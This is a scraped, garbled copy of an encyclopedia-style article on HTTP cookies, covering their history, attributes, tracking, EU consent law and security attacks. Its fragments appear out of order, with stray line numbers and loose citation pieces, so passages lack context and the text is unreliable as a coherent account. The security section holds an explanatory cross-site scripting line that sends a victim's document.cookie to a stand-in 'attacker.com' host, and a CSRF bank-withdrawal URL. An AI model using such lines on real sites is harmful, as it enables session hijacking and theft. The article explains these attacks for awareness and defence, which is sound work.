HTTP cookie - Knowledge (XXG)

2039:(e-Privacy Directive), a policy requiring end users' consent for the placement of cookies, and similar technologies for storing and accessing information on users' equipment. In particular, Article 5 Paragraph 3 mandates that storing technically unnecessary data on a user's computer can only be done if the user is provided information about how this data is used, and the user is given the possibility of denying this storage operation. The Directive does not require users to authorise or be provided notice of cookie usage that are functionally required for delivering a service they have requested, for example to retain settings, store log-in sessions, or remember what is in a user's shopping basket. 3013: 2052:

under the GDPR alone, and will require a legal basis to process. This has been the case since the 1995 Data Protection Directive, which used an identical definition of personal data, although the GDPR in interpretative Recital 30 clarifies that cookie identifiers are included. While not all data processing under the GDPR requires consent, the characteristics of behavioural advertising mean that it is difficult or impossible to justify under any other ground.

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was eventually published as RFC 2109 in February 1997. It specifies that third-party cookies were either not allowed at all, or at least not enabled by default. At this time, advertising companies were already using third-party cookies. The recommendation about third-party cookies of RFC 2109 was not followed by Netscape and Internet Explorer. RFC 2109 was superseded by RFC 2965 in October 2000.

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must be as 'easy to withdraw as to give', meaning that a reject-all button must be as easy to access in terms of clicks and visibility as an 'accept all' button. It must be specific and informed, meaning that consent relates to particular purposes for the use of this data, and all organisations seeking to use this consent must be specifically named. The

3448: 2680:(JWT) is a self-contained packet of information that can be used to store user identity and authenticity information. This allows them to be used in place of session cookies. Unlike cookies, which are automatically attached to each HTTP request by the browser, JWTs must be explicitly attached to each HTTP request by the web application. 2416:, since secure cookies can only be transmitted over an encrypted connection. Without a matching TLS certificate, victims' browsers would display a warning message about the attacker's invalid certificate, which would help deter users from visiting the attacker's fraudulent website and sending the attacker their cookies. 1018:(typically, a long string of random letters and numbers). Because cookies are sent to the server with every request the client makes, that session identifier will be sent back to the server every time the user visits a new page on the website, which lets the server know which shopping cart to display to the user. 533:, released on October 13, 1994, supported cookies. The first use of cookies (out of the labs) was checking whether visitors to the Netscape website had already visited the site. Montulli applied for a patent for the cookie technology in 1995, which was granted in 1998. Support for cookies was integrated with 2888:

The browser cache can also be used to store information that can be used to track individual users. This technique takes advantage of the fact that the web browser will use resources stored within the cache instead of downloading them from the website when it determines that the cache already has the

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of a user by tricking a user into dragging an object across the screen. Microsoft deemed the flaw low-risk because of "the level of required user interaction", and the necessity of having a user already logged into the website whose cookie is stolen. Despite this, a researcher tried the attack on 150

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later confirmed however that the previous law implied the same strong quality of consent as the current instrument. In addition to the requirement of consent which stems from storing or accessing information on a user's terminal device, the information in many cookies will be considered personal data

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In addition to a name and value, cookies can also have one or more attributes. Browsers do not include cookie attributes in requests to the server—they only send the cookie's name and value. Cookie attributes are used by browsers to determine when to delete a cookie, block a cookie or whether to send

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If the user requests a page of the site, but the request contains no cookie, the server presumes that this is the first page visited by the user. So the server creates a unique identifier (typically a string of random letters and numbers) and sends it as a cookie back to the browser together with the

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Because ETags are cached by the browser, and returned with subsequent requests for the same resource, a tracking server can simply repeat any ETag received from the browser to ensure an assigned ETag persists indefinitely (in a similar way to persistent cookies). Additional caching header fields can

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Third-party cookies can be blocked by most browsers to increase privacy and reduce tracking by advertising and tracking companies without negatively affecting the user's web experience on all sites. Some sites operate 'cookie walls', which make access to a site conditional on allowing cookies either

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Consent under the combination of the GDPR and e-Privacy Directive has to meet a number of conditions in relation to cookies. It must be freely given and unambiguous: preticked boxes were banned under both the Data Protection Directive 1995 and the GDPR (Recital 32). The GDPR is specific that consent

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In 2009, the law was amended by Directive 2009/136/EC, which included a change to Article 5, Paragraph 3. Instead of having an option for users to opt out of cookie storage, the revised Directive requires consent to be obtained for cookie storage. The definition of consent is cross-referenced to the

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83 introduced new features to block third-party cookies by default in its Incognito mode for private browsing, making blocking optional during normal browsing. The same update also added an option to block first-party cookies. In April 2024, Chrome postponed third-party cookie blocking by default to

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Supercookies can be a potential security concern and are therefore often blocked by web browsers. If unblocked by the browser, an attacker in control of a malicious website could set a supercookie and potentially disrupt or impersonate legitimate user requests to another website that shares the same

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This approach presents two advantages from the point of view of the tracker. First, having the tracking information placed in the HTTP request body rather than in the URL means it will not be noticed by the average user. Second, the session information is not copied when the user copies the URL (to

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These kinds of query strings are very similar to cookies in that both contain arbitrary pieces of information chosen by the server and both are sent back to the server on every request. However, there are some differences. Since a query string is part of a URL, if that URL is later reused, the same

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protocols, which allow access to a web page only when the user has provided the correct username and password. If the server requires such credentials for granting access to a web page, the browser requests them from the user and, once obtained, the browser stores and sends them in every subsequent

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Because session cookies only contain a unique session identifier, this makes the amount of personal information that a website can save about each user virtually limitless—the website is not limited to restrictions concerning how large a cookie can be. Session cookies also help to improve page load

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Chrome, Firefox, and Edge started to support Same-site cookies. The key of rollout is the treatment of existing cookies without the SameSite attribute defined, Chrome has been treating those existing cookies as if SameSite=None, this would let all website/applications run as before. Google intended

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expires at a specific date or after a specific length of time. For the persistent cookie's lifespan set by its creator, its information will be transmitted to the server every time the user visits the website that it belongs to, or every time the user views a resource belonging to that website from

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and David Kristol respectively. But the group, headed by Kristol himself and Lou Montulli, soon decided to use the Netscape specification as a starting point. In February 1996, the working group identified third-party cookies as a considerable privacy threat. The specification produced by the group

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they are logged in. Without the cookie, users would need to authenticate themselves by logging in on each page containing sensitive information that they wish to access. The security of an authentication cookie generally depends on the security of the issuing website and the user's web browser, and

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However, IP addresses are generally not a reliable way to track a session or identify a user. Many computers designed to be used by a single user, such as office PCs or home PCs, are behind a network address translator (NAT). This means that several PCs will share a public IP address. Furthermore,

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Most websites use cookies as the only identifiers for user sessions, because other methods of identifying web users have limitations and vulnerabilities. If a website uses cookies as session identifiers, attackers can impersonate users' requests by stealing a full set of victims' cookies. From the

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Many websites use cookies for personalization based on the user's preferences. Users select their preferences by entering them in a web form and submitting the form to the server. The server encodes the preferences in a cookie and sends the cookie back to the browser. This way, every time the user

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Cookies can be used to remember information about the user in order to show relevant content to that user over time. For example, a web server might send a cookie containing the username that was last used to log into a website, so that it may be filled in automatically the next time the user logs

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represented MCI in technical discussions with Netscape Communications. MCI did not want its servers to have to retain partial transaction states, which led them to ask Netscape to find a way to store that state in each user's computer instead. Cookies provided a solution to the problem of reliably

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Many advertising operators have an opt-out option to behavioural advertising, with a generic cookie in the browser stopping behavioural advertising. However, this is often ineffective against many forms of tracking, such as first-party tracking that is growing in popularity to avoid the impact of

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The older standards for cookies, RFC 2109 and RFC 2965, recommend that browsers should protect user privacy and not allow sharing of cookies between servers by default. However, the newer standard, RFC 6265, explicitly allows user agents to implement whichever third-party cookie policy they wish.

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Another popular use of cookies is for logging into websites. When the user visits a website's login page, the web server typically sends the client a cookie containing a unique session identifier. When the user successfully logs in, the server remembers that that particular session identifier has

1846:). Eventually, both of these cookies will be sent to the advertiser when loading their advertisements or visiting their website. The advertiser can then use these cookies to build up a browsing history of the user across all the websites that have ads from this advertiser, through the use of the 2779:

GET method, then this technique is similar to using URL query strings, since the GET method adds the form fields to the URL as a query string. But most forms are handled with HTTP POST, which causes the form information, including the hidden fields, to be sent in the HTTP request body, which is

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If more than one browser is used on a computer, each usually has a separate storage area for cookies. Hence, cookies do not identify a person, but a combination of a user account, a computer, and a web browser. Thus, anyone who uses multiple accounts, computers, or browsers has multiple sets of

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was 'insufficient to ensure transparency and fair processing of the personal data in question and therefore also insufficient to provide for free and informed consent, with attendant implications for PECR compliance.' Many companies that sell compliance solutions (Consent Management Platforms)

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Academic studies and regulators both describe widespread non-compliance with the law. A study scraping 10,000 UK websites found that only 11.8% of sites adhered to minimal legal requirements, with only 33.4% of websites studied providing a mechanism to reject cookies that was as easy to use as

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Cookies have some important implications for the privacy and anonymity of web users. While cookies are sent only to the server setting them or a server in the same Internet domain, a web page may contain images or other components stored on servers in other domains. Cookies that are set during

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helps to mitigate the risk that supercookies pose. The Public Suffix List is a cross-vendor initiative that aims to provide an accurate and up-to-date list of domain name suffixes. Older versions of browsers may not have an up-to-date list, and will therefore be vulnerable to supercookies from

5453:"Délibération n° 2019-093 du 4 juillet 2019 portant adoption de lignes directrices relatives à l'application de l'article 82 de la loi du 6 janvier 1978 modifiée aux opérations de lecture ou écriture dans le terminal d'un utilisateur (notamment aux cookies et autres traceurs) (rectificatif)" 701:

because they can be used by advertisers to record information about a user's web browsing habits over an extended period of time. Persistent cookies are also used for reasons such as keeping users logged into their accounts on websites, to avoid re-entering login credentials at every visit.

2047:(GDPR). As the definition of consent was strengthened in the text of the GDPR, this had the effect of increasing the quality of consent required by those storing and accessing information such as cookies on users devices. In a case decided under the Data Protection Directive however, the 1455:

attributes define the scope of the cookie. They essentially tell the browser what website the cookie belongs to. For security reasons, cookies can only be set on the current resource's top domain and its subdomains, and not for another domain and its subdomains. For example, the website

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This method consists of the web server appending query strings containing a unique session identifier to all the links inside of a web page. When the user follows a link, the browser sends the query string to the server, allowing the server to identify the user and maintain state.

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From this point on, the cookie will automatically be sent by the browser to the server every time a new page from the site is requested. The server not only sends the page as usual but also stores the URL of the requested page, the date/time of the request, and the cookie in a log

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is information collected about a browser's configuration, such as version number, screen resolution, and operating system, for the purpose of identification. Fingerprints can be used to fully or partially identify individual users or devices even when cookies are turned off.

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In order for consent to be freely given, access to services and functionalities must not be made conditional on the consent of a user to the storing of information, or gaining of access to information already stored, in the terminal equipment of a user (so called cookie

1014:). Today, however, the contents of a user's shopping cart are usually stored in a database on the server, rather than in a cookie on the client. To keep track of which user is assigned to which shopping cart, the server sends a cookie to the client that contains a 2067:

argues that proper enforcement would "destroy the entire industry". However, scholars note that the onerous nature of cookie pop-ups stems from an attempt to continue to operate a business model through convoluted requests that may be incompatible with the GDPR.

1171:, sent in an HTTP response from the web server. This header field instructs the web browser to store the cookie and send it back in future requests to the server (the browser will ignore this header field if it does not support cookies or has disabled cookies). 5152: 2411:

for not properly securing their DNS servers. However, the severity of this attack can be lessened if the target website uses secure cookies. In this case, the attacker would have the extra challenge of obtaining the target website's TLS certificate from a

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If Bob's bank keeps his authentication information in a cookie, and if the cookie hasn't expired, then the attempt by Bob's browser to load the image will submit the withdrawal form with his cookie, thus authorizing a transaction without Bob's approval.

1499:). A notable exception to this general rule is Edge prior to Windows 10 RS3 and Internet Explorer prior to IE 11 and Windows 10 RS4 (April 2018), which always sends cookies to subdomains regardless of whether the cookie was set with or without a domain. 1125:

or component of a web page would be an isolated event, largely unrelated to all other page views made by the user on the website. Although cookies are usually set by the web server, they can also be set by the client using a scripting language such as

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had been leaving persistent cookies on computers that had visited its website. When notified it was violating policy, CIA stated that these cookies were not intentionally set and stopped setting them. On December 25, 2005, Brandt discovered that the

681:) exists only in temporary memory while the user navigates a website. Session cookies expire or are deleted when the user closes the web browser. Session cookies are identified by the browser by the absence of an expiration date assigned to them. 1817:

In this fictional example, an advertising company has placed banners in two websites. By hosting the banner images on its servers and using third-party cookies, the advertising company is able to track the browsing of users across these two

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For example, Bob might be browsing a chat forum where another user, Mallory, has posted a message. Suppose that Mallory has crafted an HTML image element that references an action on Bob's bank's website (rather than an image file), e.g.,

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Besides privacy concerns, cookies also have some technical drawbacks. In particular, they do not always accurately identify users, they can be used for security attacks, and they are often at odds with the Representational State Transfer

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found that America's top fifty websites installed an average of sixty-four pieces of tracking technology onto computers, resulting in a total of 3,180 tracking files. The data can then be collected and sold to bidding corporations.

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was proposed for servers to communicate their privacy policy to browsers, allowing automatic, user-configurable handling. However, few websites implement the specification, and the W3C has discontinued work on the specification.

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In some respects, this can be more secure than cookies due to the fact that its contents are not automatically sent to the server on every request like cookies are, so it is not vulnerable to network cookie sniffing attacks.

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Moreover, if the same user accesses the same page multiple times from different sources, there is no guarantee that the same query string will be used each time. For example, if a user visits a page by coming from a page

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As of 2014, some websites were setting cookies readable for over 100 third-party domains. On average, a single website was setting 10 cookies, with a maximum number of cookies (first- and third-party) reaching over 800.

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Cookies are arbitrary pieces of data, usually chosen and first sent by the web server, and stored on the client computer by the web browser. The browser then sends them back to the server with every request, introducing

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attached piece of information will be sent to the server, which could lead to confusion. For example, if the preferences of a user are encoded in the query string of a URL and the user sends this URL to another user by

5158: 2338:. Where network traffic is not encrypted, attackers can therefore read the communications of other users on the network, including HTTP cookies as well as the entire contents of the conversations, for the purpose of a 4701: 2519:

Such attacks can be mitigated by using HttpOnly cookies. These cookies will not be accessible by client-side scripting languages like JavaScript, and therefore, the attacker will not be able to gather these cookies.

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The possibility of building a profile of users is a privacy threat, especially when tracking is done across multiple domains using third-party cookies. For this reason, some countries have legislation about cookies.

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The introduction of cookies was not widely known to the public at the time. In particular, cookies were accepted by default, and users were not notified of their presence. The public learned about cookies after the

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The edbrowse documentation version 3.5 said "Note that only Netscape-style cookies are supported. However, this is the most common flavor of cookie. It will probably meet your needs." This paragraph was removed in

946:'s dedicated cookie storage location, and that automatically recreates a HTTP cookie as a regular cookie after the original cookie had been deleted. The zombie cookie may be stored in multiple locations, such as 1694:, with an expiration time in the past. The browser will delete this cookie right away because its expiration time is in the past. Note that cookie will only be deleted if the domain and path attributes in the 954:, and other client-side and even server-side locations, and when absence is detected in one of the locations, the missing instance is recreated by the JavaScript code using the data stored in other locations. 547:

published an article about them on February 12, 1996. In the same year, cookies received a lot of media attention, especially because of potential privacy implications. Cookies were discussed in two U.S.

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The industry's response has been largely negative. Robert Bond of the law firm Speechly Bircham describes the effects as "far-reaching and incredibly onerous" for "all UK companies". Simon Davis of

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browsers blocking third party cookies. Furthermore, if such a setting is more difficult to place than the acceptance of tracking, it remains in breach of the conditions of the e-Privacy Directive.

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attribute directs browsers not to expose cookies through channels other than HTTP (and HTTPS) requests. This means that the cookie cannot be accessed via client-side scripting languages (notably

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with hidden fields. This technique is very similar to using URL query strings to hold the information and has many of the same advantages and drawbacks. In fact, if the form is handled with the

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Listed here are various scenarios of cookie theft and user session hijacking (even without stealing user cookies) that work with websites relying solely on HTTP cookies for user identification.

1798:. A third-party cookie, belongs to a domain different from the one shown in the address bar. This sort of cookie typically appears when web pages feature content from external websites, such as 5083:

Miyazaki, Anthony D. (2008), "Online Privacy and the Disclosure of Cookie Use: Effects on Consumer Trust and Anticipated Patronage," Journal of Public Policy & Marketing, 23 (Spring), 19–33

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accepting them. A study of 17,000 websites found that 84% of sites breached this criterion, finding additionally that many laid third party cookies with no notice at all. The UK regulator, the

2567:(i.e. the information is encrypted on the user's browser and decrypted on the destination server). In this case, the proxy server would only see the raw, encrypted bytes of the HTTP request. 2896:). After the user's initial visit, every time the user accesses the page, this file will be loaded from the cache instead of downloaded from the server. Thus, its content will never change. 1483:

attributes are not specified by the server, they default to the domain and path of the resource that was requested. However, in most browsers there is a difference between a cookie set from

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A possible interaction between a web browser and a web server holding a web page in which the server sends a cookie to the browser and the browser sends it back when requesting another page

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header fields in the HTTP response in order to instruct the browser to add new cookies, modify existing cookies, or remove existing cookies. To remove a cookie, the server must include a

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Santos, Cristiana; Nouwens, Midas; Toth, Michael; Bielova, Nataliia; Roca, Vincent (2021), Gruschka, Nils; Antunes, Luís Filipe Coelho; Rannenberg, Kai; Drogkaris, Prokopios (eds.),

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Internet Explorer supports persistent information in the browser's history, in the browser's favorites, in an XML store ("user data"), or directly within a web page saved to disk.

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Website operators who do not disclose third-party cookie use to consumers run the risk of harming consumer trust if cookie use is discovered. Having clear disclosure (such as in a

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web server's point of view, a request from an attacker then has the same authentication as the victim's requests; thus the request is performed on behalf of the victim's session.

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attribute can be used to set the cookie's expiration as an interval of seconds in the future, relative to the time the browser received the cookie. Below is an example of three

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The development of the formal cookie specifications was already ongoing. In particular, the first discussions about a formal specification started in April 1995 on the www-talk

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Cookies can also be stolen using a technique called cross-site scripting. This occurs when an attacker takes advantage of a website that allows its users to post unfiltered

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connections. However, if a web server sets a cookie with a secure attribute from a non-secure connection, the cookie can still be intercepted when it is sent to the user by

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A cookie wall pops up on a website and informs the user of the website's cookie usage. It has no reject option, and the website is not accessible without tracking cookies.

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Dimova, Yana; Acar, Gunes; Olejnik, Lukasz; Joosen, Wouter; Van Goethem, Tom (5 March 2021). "The CNAME of the Game: Large-scale Analysis of DNS-based Tracking Evasion".

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content. By posting malicious HTML and JavaScript code, the attacker can cause the victim's web browser to send the victim's cookies to a website the attacker controls.

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in Chrome 80 planned to be released in February 2020, but due to potential for breakage of those applications/websites that rely on third-party/cross-site cookies and

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languages, collection of much more esoteric parameters is possible. Assimilation of such information into a single string constitutes a device fingerprint. In 2010,

2376:), then this could allow the attacker to gain access to a user's cookies. For example, an attacker could use DNS cache poisoning to create a fabricated DNS entry of 2060:

has also ruled that consent must be 'efficient and timely', meaning that it must be gained before cookies are laid and data processing begins instead of afterwards.

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This way, the server knows that this HTTP request is related to the previous one. The server would answer by sending the requested page, possibly including more

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cookies will be sent along with the request, but routed through the attacker's proxy server. Hence, the attacker would be able to harvest the victim's cookies.

1925:(NSA) had been leaving two persistent cookies on visitors' computers due to a software upgrade. After being informed, the NSA immediately disabled the cookies. 1878:

block all third-party cookies by default. Safari allows embedded sites to use Storage Access API to request permission to set first-party cookies. In May 2020,

3186: 7507: 3624: 4147: 3418: 3443:, Montulli, Lou, "Persistent client state in a hypertext transfer protocol based client-server system", published 1998-06-30, assigned to 2345:

An attacker could use intercepted cookies to impersonate a user and perform a malicious task, such as transferring money out of the victim's bank account.

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permit them to be configured in manifestly illegal ways, which scholars have noted creates questions around the appropriate allocation of liability.

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Cookies were originally introduced to provide a way for users to record items they want to purchase as they navigate throughout a website (a virtual

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Anonymous, 2011. Cookiejacking Attack Steals Website Access Credentials. Informationweek - Online, pp. Informationweek - Online, May 26, 2011.

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2025. In July 2024, Google announced plan to avoid blocking third-party cookies by default and instead prompt users to allow third-party cookies.

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in RFC 6265 in April 2011 which was written as a definitive specification for cookies as used in the real world. No modern browser recognizes the

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attributes do not have associated values. Rather, the presence of just their attribute names indicates that their behaviors should be enabled.

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search engine once used cookies to allow users (even non-registered ones) to decide how many search results per page they wanted to see. Also,

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The server's HTTP response contains the contents of the website's homepage. But it also instructs the browser to set two cookies. The first,

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The Same-site cookie is incorporated into a new RFC draft for "Cookies: HTTP State Management Mechanism" to update RFC 6265 (if approved).

3580: 2073: 1686:, does not have an expiration date, making it a session cookie. It will be deleted after the user closes their browser. The third cookie, 5853: 5059: 4550: 3070: 346:. Cookies are placed on the device used to access a website, and more than one cookie may be placed on a user's device during a session. 6245: 904:

mechanisms were found on Microsoft websites in August 2011: cookie syncing that respawned MUID (machine unique identifier) cookies, and

5536:. IFIP Advances in Information and Communication Technology. Vol. 625. Cham: Springer International Publishing. pp. 213–227. 5101: 2360:

flag while setting a cookie, which will cause the browser to send the cookie only over an encrypted channel, such as a TLS connection.

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used cookies to track computer users viewing its online anti-drug advertising. In 2002, privacy activist Daniel Brandt found that the

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attribute defines a specific date and time for when the browser should delete the cookie. The date and time are specified in the form

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the second time, the query strings would likely be different. If cookies were used in this situation, the cookies would be the same.

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Traffic on a network can be intercepted and read by computers on the network other than the sender and receiver (particularly over

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By analyzing this log file, it is then possible to find out which pages the user has visited, in what sequence, and for how long.

7502: 6085: 4679: 4373: 3388: 3247: 801:, the browsers would only send cookies to a target domain that is the same as the origin domain. This would effectively mitigate 5922: 3100: 2636: 1598:). The prepending dot is optional in recent standards, but can be added for compatibility with RFC 2109 based implementations. 560: 5984: 5743: 1728:

attribute is meant to keep cookie communication limited to encrypted transmission, directing browsers to use cookies only via

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Rasaii, Ali; Singh, Shivani; Gosain, Devashish; Gasser, Oliver (2023), Brunstrom, Anna; Flores, Marcel; Fiore, Marco (eds.),

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Other drawbacks of query strings are related to security. Storing data that identifies a session in a query string enables

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API. This API allows pages to specify a proxy server that would get the reply, and this proxy server is not subject to the

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Together with John Giannandrea, Montulli wrote the initial Netscape cookie specification the same year. Version 0.9beta of

7224: 5871: 4196: 3679: 3444: 2623: 1682:, is set to expire sometime on 15 January 2013. It will be used by the client browser until that time. The second cookie, 1506:

header fields in the HTTP response of a website after a user logged in. The HTTP request was sent to a webpage within the

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accesses a page on the website, the server can personalize the page according to the user's preferences. For example, the

809:, browsers would send cookies with requests to a target domain even it is different from the origin domain, but only for 7345: 5774: 5532:

Kampanos, Georgios; Shahandashti, Siamak F. (2021). "Accept All: The Landscape of Cookie Banners in Greece and the UK".

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For example, a website could serve a JavaScript file with code that sets a unique identifier for the user (for example,

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Some web browsers support persistence mechanisms which allow the page to store the information locally for later use.

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with the list of cookies that are accessible from the current page. As a result, this list of cookies is sent to the

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Cross-site scripting: a cookie that should be only exchanged between a server and a client is sent to another party.

2471:"window.location = 'http://attacker.com/stole.cgi?text=' + escape(document.cookie); return false;" 2076:, stated in 2019 that the industry's 'Transparency and Consent Framework' from the advertising technology group the 438:

that prompted European and U.S. lawmakers to take action in 2011. European law requires that all websites targeting

7476: 6854: 6360: 3178: 3126: 3040: 2576: 2003: 802: 762: 417: 135: 53: 4056: 3414: 2257: 2242: 2187: 1949: 1736:. Therefore, for maximum security, cookies with the Secure attribute should only be set over a secure connection. 618: 7512: 7390: 7239: 7086: 2836:

of the computer requesting the page. The server knows the IP address of the computer running the browser (or the

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This issue can be resolved by securing the communication between the user's computer and the server by employing

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Tracking cookies are used to track users' web browsing habits. This can also be done to some extent by using the

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cookies. Due to media attention, Microsoft later disabled this code. In a 2021 blog post, Mozilla used the term

7121: 5599:, Lecture Notes in Computer Science, vol. 12703, Cham: Springer International Publishing, pp. 47–69, 4738: 2710: 2349: 2339: 1922: 1733: 1114: 549: 264: 4089: 4005: 1137:

The cookie specifications require that browsers meet the following requirements in order to support cookies:

563:(IETF) was formed. Two alternative proposals for introducing state in HTTP transactions had been proposed by 6997: 2845: 2043:

definition in European data protection law, firstly the Data Protection Directive 1995 and subsequently the

1982: 556: 502: 259: 6275: 5891: 4270: 4030: 1759:

Most modern browsers support cookies and allow the user to disable them. The following are common options:

1089:

Corporations exploit users' web habits by tracking cookies to collect information about buying habits. The

7420: 6958: 6900: 6774: 6679: 6589: 6575: 6058: 3463: 1284:

attribute. Session cookies are intended to be deleted by the browser when the browser closes. The second,

523: 254: 6121: 6036: 2792:

All current web browsers can store a fairly large amount of data (2–32 MB) via JavaScript using the

1655:

lu=Rg3vHJZnehYLjVg7qi3bZjzg; Expires=Tue, 15 Jan 2013 21:47:38 GMT; Path=/; Domain=.example.com; HttpOnly

868:

top-level domain or public suffix as the malicious website. For example, a supercookie with an origin of

7471: 7440: 7365: 7355: 7315: 6704: 6460: 6353: 6294: 6007: 5703: 5502: 5477: 5209: 4252: 4170: 3654: 2998: 2975:

that allows two types of storage: local storage and session storage. Local storage behaves similarly to

2947: 2935: 2793: 2564: 2413: 2064: 730: 361:) on the user's device or to track the user's browsing activity (including clicking particular buttons, 249: 1912:

government has set strict rules on setting cookies in 2000 after it was disclosed that the White House

1495:, also known as a host-only cookie. In the latter case, all subdomains are also included (for example, 412:, or used to gain access (with the user's credentials) to the website to which the cookie belongs (see 3491:"Online Privacy and the Disclosure of Cookie Use: Effects on Consumer Trust and Anticipated Patronage" 3440: 3012: 1989: 7481: 7405: 7375: 7335: 7325: 7180: 7026: 6967: 6830: 6815: 6753: 6599: 6480: 6260: 6181: 6151: 5854:"Hack Obtains 9 Bogus Certificates for Prominent Websites; Traced to Iran - Threat Level - Wired.com" 4623: 4589: 4533: 4499: 4465: 4356: 3977: 3895: 2425: 1799: 1748: 1393: 754: 431: 413: 392: 366: 2384:

of the attacker's server. The attacker can then post an image URL from his own server (for example,

7320: 7305: 7269: 7219: 7204: 7021: 7002: 6977: 6905: 6644: 6604: 6523: 4846: 4816: 2994: 2911: 2540:, and the attacker's script is executed in the victim's browser. The script generates a request to 2373: 1875: 1782: 1091: 1026:

times, since the amount of information in a session cookie is small and requires little bandwidth.

947: 378: 3952:"Require "Secure" for "SameSite=None". by miketaylr · Pull Request #1323 · httpwg/http-extensions" 2971:

standard (which most modern web browsers support to some extent) includes a JavaScript API called

501:

had the idea of using them in web communications in June 1994. At the time, he was an employee of

7310: 7274: 7254: 7209: 7136: 7071: 7066: 6910: 6895: 6849: 6699: 6624: 6415: 5832: 5628: 5600: 5573: 5537: 5376: 5338: 5264: 4581: 4310: 3701: 3370: 3344: 2905: 2849: 2533: 1971: 1673:

reg_fb_gate=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; Domain=.example.com; HttpOnly

884: 758: 530: 283: 5329:

Nouwens, Midas; Liccardi, Ilaria; Veale, Michael; Karger, David; Kagal, Lalana (21 April 2020).

4786: 4517: 4449: 6300: 5008:"Chrome 83 arrives with redesigned security settings, third-party cookies blocked in Incognito" 3572: 2663:

Some of the operations that can be done using cookies can also be done using other mechanisms.

1554:

SSID=Ap4P…GTEq; Domain=foo.com; Path=/; Expires=Wed, 13 Jan 2021 22:23:01 GMT; Secure; HttpOnly

7522: 7430: 7400: 7145: 6890: 6594: 6420: 5865: 5618: 5565: 5555: 5452: 5366: 5304: 4607: 4565: 4483: 3797: 3762: 3510: 3362: 3312: 2713:

is the part that is typically used for this purpose, but other parts can be used as well. The

2614: 1073:

request header, but cookies allow for greater precision. This can be demonstrated as follows:

1015: 534: 5805: 5093: 3823:

Bugliesi, Michele; Calzavara, Stefano; Focardi, Riccardo; Khan, Wilayat (16 September 2015).

3316: 1536:

LSID=DQAAAK…Eaem_vYg; Path=/accounts; Expires=Wed, 13 Jan 2021 22:23:01 GMT; Secure; HttpOnly

813:

requests such as GET (POST is unsafe) and not third-party cookies (inside iframe). Attribute

7155: 7056: 7012: 6724: 6669: 6609: 6425: 5698: 5690: 5610: 5547: 5356: 5348: 5294: 5254: 5244: 4613: 4571: 4523: 4489: 4455: 4346: 4302: 3844: 3836: 3789: 3752: 3744: 3552: 3546: 3502: 3354: 3270: 2752: 2144: 1859: 1763:

To enable or disable cookies completely, so that they are always accepted or always blocked.

1545:

HSID=AYQEVn…DKrdst; Domain=.foo.com; Path=/; Expires=Wed, 13 Jan 2021 22:23:01 GMT; HttpOnly

1307:

header field, which contains the two cookies that the server instructed the browser to set:

984:). Attributes store information such as the cookie's expiration, domain, and flags (such as 849: 564: 443: 435: 331: 323: 58: 4702:

Symantec Internet Security Threat Report: Trends for July–December 2007 (Executive Summary)

2593:"http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory" 2528:

In older versions of many browsers, there were security holes in the implementation of the

7380: 7234: 7214: 5719:"Guidelines 05/2020 on consent under Regulation 2016/679 | European Data Protection Board" 5331:"Dark Patterns after the GDPR: Scraping Consent Pop-ups and Demonstrating their Influence" 4277: 3610: 3389:"Press Release: Netscape Communications Offers New Network Navigator Free On The Internet" 3208: 3018: 1149: 543: 405: 358: 169: 6327:

Cookie Domain, explain in detail how cookie domains are handled in current major browsers

5806:"What's CNAME of your game? This DNS-based tracking defies your browser privacy defenses" 4391: 3781: 2497:

When another user clicks on this link, the browser executes the piece of code within the

1296:

attribute, which instructs the browser to delete the cookie at a specific date and time.

578:, which informally came to be called "RFC 2965-style cookies" as opposed to the original 5592: 4640: 4422: 3864: 2559:

This attack would not work with secure cookies, since they can only be transmitted over

1047:

uses cookies to allow users to set the viewing preferences like colors of the web page.

6841: 6714: 6659: 6639: 6059:"IE "default behaviors [sic]" browser information disclosure tests: clientCaps" 5953: 5007: 4290: 3991: 3490: 2677: 2618: 2529: 2101:, composed of all EU data protection regulators, stated that cookie walls were illegal. 1902: 900:

is sometimes used for tracking technologies that do not rely on HTTP cookies. Two such

439: 388: 362: 350: 6096: 4671: 4377: 3951: 3392: 2800:. This data can be used instead of session cookies. The technique can be coupled with 2516:

It is the responsibility of the website developers to filter out such malicious code.

1618:

for values of YY where YY is greater than or equal to 0 and less than or equal to 69.

7496: 7091: 6654: 6614: 6584: 6435: 6335: 6310: 5632: 5577: 5380: 5268: 4289:

Lee, Wei-Bin; Chen, Hsing-Bai; Chang, Shun-Shyan; Chen, Tzung-Her (25 January 2019).

3045: 2923: 2871: 2744: 2335: 1909: 1879: 1788: 925: 778: 409: 354: 276: 154: 5930: 5679:"Tracking Walls, Take-It-Or-Leave-It Choices, the GDPR, and the ePrivacy Regulation" 4314: 3731:

Bujlow, Tomasz; Carela-Espanol, Valentin; Lee, Beom-Ryeol; Barlet-Ros, Pere (2017).

3092: 2840:, if any is used) and could theoretically link a user's session to this IP address. 2322:

A cookie can be stolen by another computer that is allowed reading from the network.

1104: 860:). Ordinary cookies, by contrast, have an origin of a specific domain name, such as 7450: 7330: 7229: 7165: 7160: 7150: 7101: 7041: 6648: 5980: 4585: 4192: 3374: 3071:"What are cookies? What are the differences between them (session vs. persistent)?" 2837: 2804:/JavaScript objects to store complex sets of session variables on the client side. 2756: 2714: 2706: 2652: 1892: 1867: 1847: 1803: 1578:. This tells the browser to use the cookie only when requesting pages contained in 1066: 1056: 942:

on a visitor's computer or other device in a hidden location outside the visitor's

518: 498: 481: 476: 369:). They can also be used to save information that the user previously entered into 164: 159: 126: 7096: 5677:

Zuiderveen Borgesius, F.J.; Kruikemeier, S.; C Boerman, S.; Helberger, N. (2017).

3239: 1996: 1813: 1134:

flag is set, in which case the cookie cannot be modified by scripting languages).

6315: 6243: 5694: 5551: 5330: 4930:"Apple updates Safari's anti-tracking tech with full third-party cookie blocking" 4707:(Report). Vol. XIII. Symantec Corp. April 2008. pp. 1–3. Archived from 3793: 3179:"Sen. Rockefeller: Get Ready for a Real Do-Not-Track Bill for Online Advertising" 3148: 2651:

Likewise, cookies do not differentiate between multiple users who share the same

1830:, which, when downloaded, sets a cookie belonging to the advertisement's domain ( 485:, which is a packet of data a program receives and sends back unchanged, used by 7435: 7415: 7284: 7249: 7185: 7111: 6874: 6763: 6758: 6709: 6684: 6674: 6475: 6470: 6376: 6288: 5614: 5397: 4672:"HTTP Cookies: What's the difference between Max-age and Expires? – Peter Coles" 4626: 4592: 4536: 4502: 4468: 4359: 4340: 4256: 3026: 2990: 2972: 2959: 2931: 2927: 2919: 2852:, rendering tracking by IP address impractical, impossible, or a security risk. 2227: 1938: 1174:

